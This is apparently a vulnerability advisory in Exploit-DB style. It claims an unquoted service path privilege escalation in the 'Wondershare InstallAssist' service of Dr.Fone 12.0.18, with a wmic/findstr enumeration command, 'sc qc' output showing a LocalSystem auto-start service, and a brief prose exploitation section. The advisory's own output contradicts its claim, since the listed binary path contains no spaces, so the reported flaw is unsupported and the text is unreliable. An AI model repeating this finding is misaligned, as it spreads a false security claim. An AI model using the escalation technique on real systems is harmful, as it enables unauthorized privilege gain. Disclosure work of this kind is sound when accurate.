Wondershare Dr.Fone 12.0.18 - 'Wondershare InstallAssist' Unquoted Service Path

# Exploit Title: Wondershare Dr.Fone 12.0.18 - 'Wondershare InstallAssist' Unquoted Service Path
# Discovery by: Mohamed Alzhrani
# Discovery Date: 2022-03-08
# Vendor Homepage: https://www.wondershare.com/
# Software Link : https://download.wondershare.com/drfone_full3360.exe
# Tested Version: 12.0.18
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\Users\0xMaz>cmd /c wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

Wondershare Install Assist Service	Wondershare InstallAssist	C:\ProgramData\Wondershare\Service\InstallAssistService.exe 	Auto


# Service info:

C:\Users\0xMaz>sc qc "Wondershare InstallAssist"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Wondershare InstallAssist
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\ProgramData\Wondershare\Service\InstallAssistService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wondershare Install Assist Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:

The local user able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.